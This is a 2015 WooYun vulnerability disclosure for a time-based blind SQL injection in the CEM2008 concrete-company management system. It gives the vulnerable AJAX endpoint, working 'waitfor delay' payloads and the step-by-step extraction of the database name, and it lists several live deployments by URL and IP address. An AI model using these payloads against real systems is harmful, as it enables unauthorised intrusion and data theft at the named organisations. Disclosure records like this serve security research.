当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118675

漏洞标题:CEM2008混凝土企业远程管理系统SQL注入漏洞

相关厂商:北京鼎软科技有限公司

漏洞作者: 路人甲

提交时间:2015-06-09 16:00

修复时间:2015-07-24 16:02

公开时间:2015-07-24 16:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

CEM2008混凝土企业远程管理系统SQL注入漏洞

详细说明:

存在漏洞的是北京鼎软科技有限公司开发的CEM2008混凝土企业远程管理系统
官方网站:http://www.dingruan.com/
产品主页:http://www.dingruan.com/product-2.html
官方部分案例:http://www.dingruan.com/case.html
案例:

http://www.bjzzjbz.com/Login.aspx  北京住总商品混凝土中心
http://118.125.106.216:88/Login.aspx 广元城建
http://220.189.233.18:81/Login.aspx 德清城建
http://www.6years.org/Login.aspx
http://125.65.92.216:81/Login.aspx 安县界牌站混凝土


漏洞详情:

/AjaxRequestPages/AjaxGetUserYieldStation.aspx
POST DATA:
判断数据库名长度:
LoginName=abc')); if(len(db_name()))>=7 waitfor delay '0:0:5' --%20
LoginName=abc')); if(len(db_name()))>=8 waitfor delay '0:0:5' --%20
判断数据库名第一个字符的ASCII码值:
LoginName=abc')); if(ascii(substring(db_name(),1,1)))>=67 waitfor delay '0:0:5' --%20
LoginName=abc')); if(ascii(substring(db_name(),1,1)))>=68 waitfor delay '0:0:5' --%20

漏洞证明:

1.判断当前数据库名长度:
a.当设置数据库名长度>=7时,页面存在延时,即判断条件成立

1.png


b.当设置数据库名长度>=8时,页面不存在延时,即判断条件不成立,即数据库名长度为7

2.png


2.判断当前数据库名第一个字符的ASCII码值:
a.设置数据库名第一个字符的ASCII码值>=67时,页面存在延时,即判断成立

3.png


b.设置数据库名第一个字符的ASCII码值>=68时,页面不存在延时,即判断不成立,即当前数据库名第一个字符的ASCII码值为67,即字符C

4.png


根据此方法依次可得出数据库名各个位对应的ASCII码值67 69 77 50 48 48 56 ,即数据库名为CEM2008

修复方案:

对参数进行判断并过滤!!!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝